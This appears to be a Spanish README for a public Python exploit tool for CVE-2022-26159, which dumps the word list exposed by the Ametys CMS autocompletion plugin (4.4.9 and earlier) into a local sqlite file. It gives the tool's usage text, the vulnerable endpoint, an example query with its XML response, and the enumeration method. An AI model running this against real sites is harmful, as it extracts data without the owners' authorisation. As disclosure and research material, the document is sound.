
Un exploit de Python para volcar automáticamente todos los datos almacenados por el plugin de autocompletado de Ametys CMS a un archivo de base de datos sqlite local.
Un exploit en Python para volcar automáticamente todos los datos almacenados por el plugin de autocompletado de Ametys CMS en un archivo de base de datos sqlite local.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
El plugin de autocompletado de Ametys CMS <= 4.4.9 expone públicamente un archivo XML que contiene una lista de palabras en la siguiente dirección:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
Para realizar una petición a esta base de datos, un atacante solo necesita escribir el comienzo de la palabra en el parámetro q (query):
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
Y el plugin de autocompletado devuelve las primeras 10 palabras coincidentes que empiezan por adm (de la consulta) en un archivo XML:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
Teniendo esto en cuenta, un atacante solo necesita realizar una búsqueda en profundidad en la API para extraer todo su contenido.
Las pull requests son bienvenidas. No dudes en abrir un issue si quieres añadir otras funcionalidades.